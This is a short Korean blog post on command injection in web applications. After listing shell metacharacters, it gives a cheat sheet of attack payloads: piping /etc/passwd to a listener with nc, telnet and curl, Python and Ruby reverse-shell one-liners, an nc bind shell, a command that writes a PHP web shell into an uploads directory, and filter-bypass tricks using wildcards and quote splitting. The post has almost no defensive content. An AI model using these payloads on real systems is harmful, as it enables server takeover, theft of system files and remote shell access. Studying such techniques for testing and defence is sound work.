본문 바로가기
web hacking

command injection

by Jueun7 2023. 7. 18.

쓰고 나서 보니 너무 정적인 글 이라서 지루하다 재미없어도 해킹은 재밌으니 재미있겠지?

실제 웹사이트를 운영하다 보면 직접 사용자의 입력값을 쉘 명령어에 보내야 할 때가 있다.

하지만 악의적인 사용자가 악의적인 입력값을 입력해 서버를 장악해 버리는 엄청난 취약점이다.

이번 포스팅은 command injection을 잘 모르면 이해하기 힘들 수 도 있다.

 

실제 일반적으로 사용되는 메타문자로는

# 명령어 치환	
ls `echo -l`
ls ${echo -l}

# AND (앞 명령어가 정상적으로 작동하면 뒷 명령어가 실행된다.)
pwd && ls -l

# OR (앞 명령어에서 오류가 발생하면 뒷 명령어가 실행된다.)
ls -qqq || ls -l

# 구분자
pwd | ls
pwd ; ls

등등이 사용된다.

하지만 이런 공격들은 쉽게 막히니 심화된 command injection 공격을 정리하기 위해 글을 작성한다.

 

 

command injection 결과를 볼 수 없을 때

cat /etc/passwd | nc 127.0.0.1 8000
cat /etc/passwd | telnet 127.0.0.1 8000

cat의 명령어의 결과 값을 127.0.0.1:8000으로 전송해 준다.

curl "http://127.0.0.1:8080/?$(ls -al)"
curl http://127.0.0.1:8080/ -d "$(ls -al)" # -d -> POST

이런 식으로 쿼리에 명령어 결과를 보내기가 가능하다.

 

다른 언어 사용

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

이런 식으로 다른 언어들을 사용 가능하다.

 

직접 특정 파일을 포트로 열기

nc -nlvp 8080 -e /bin/sh

이런 식으로 /bin/sh/ 파일을 포트 8080으로 열 수 있다.

 

문자열을 서버 파일 내부에 삽입하기

printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php

printf 문을 통해서 shell script가 해당 위치에 삽입된다.

 

리다이렉션 활용

mkdir static; id > static/result.txt

mkdir static을 실행하고 id의 출력결과를 static/result.txt에 쓴다.

 

와일드카드로 키워드 필터링 bypass

/bin/c?t /etc/passwd
/bin/ca* /etc/passwd

?, * 은 해당 자리에 문자를 일치시켜 주는 와일드카드이다.

bin안에 c_t는 cat이 유일하기 때문에 cat을 실행시켜 준다.

 

`""` `''` 로 키워드 필터링 bypass

c''a""t /etc/passwd
\c\a\t /etc/passwd

`''` `""` 는 공백 문자로 치환되어서 그대로 cat라고 해석된다.

`\`  뒤에 오는 문자는 문자 그래도 해석되어서 cat으로 된다.